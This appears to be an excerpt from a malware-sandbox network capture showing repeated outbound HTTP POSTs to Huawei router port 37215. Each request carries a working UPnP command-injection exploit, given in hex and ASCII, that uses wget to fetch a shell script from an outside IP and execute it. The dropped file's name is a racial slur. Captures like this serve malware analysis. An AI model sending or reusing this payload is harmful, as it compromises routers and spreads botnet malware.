Feb 19, 2024 18:37:58.432533026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.15	43814	31.200.110.241	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415728092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545721054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.857672930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545557022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.921622992 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417165041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432526112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.15	52430	31.200.117.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415812969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.15	57656	31.200.120.235	37215

Timestamp	Bytes transferred	Direction	Data
